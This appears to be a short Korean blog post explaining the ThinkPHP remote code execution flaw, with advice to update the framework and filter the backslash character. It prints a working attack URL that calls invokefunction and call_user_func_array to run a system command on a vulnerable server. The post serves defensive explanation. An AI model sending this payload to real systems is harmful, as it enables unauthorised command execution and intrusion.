반응형

안녕하세요.

 

ThinkPHP 원격 코드 실행 취약점에 대해서 알아보겠습니다.

 

ThinkPHP는 중국 Topthink에서 동적 웹 애플리케이션  개발을 위해 개발한 Apache2 기반의 PHP framework이다.

 

실제로 ThinkPHP는 php개발 속도를 크게 줄여주기에 중국권에서 많이 사용되고 있다.

 

ThinkPHP는 컨트롤러 클래스(app)에 invokefunction 함수에 매개변수에 원격 코드를 삽입하여 공격하는 형태이다.

 

 

 


공격코드

 

/thinkphp/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array & vars[0]=system&vars[1][] =ls% 20-l

 

위 코드에서  '\'를 필터링하지 못해 컨트롤러 클래스(app)에 접근하여 invokefunction함수를 호출

이 후 call_user_fuc_array&vars[0] 매개변수에 원격 코드를 삽입하여 시스템을 제어한다. 

 


대응방안

 

- Think PHP를 최신 버전으로 업데이트한다.

- '\'문자열을 필터링하여 컨트롤러 클래스에 접근불가 하도록 한다.

 

감사합니다.

 

 

 

반응형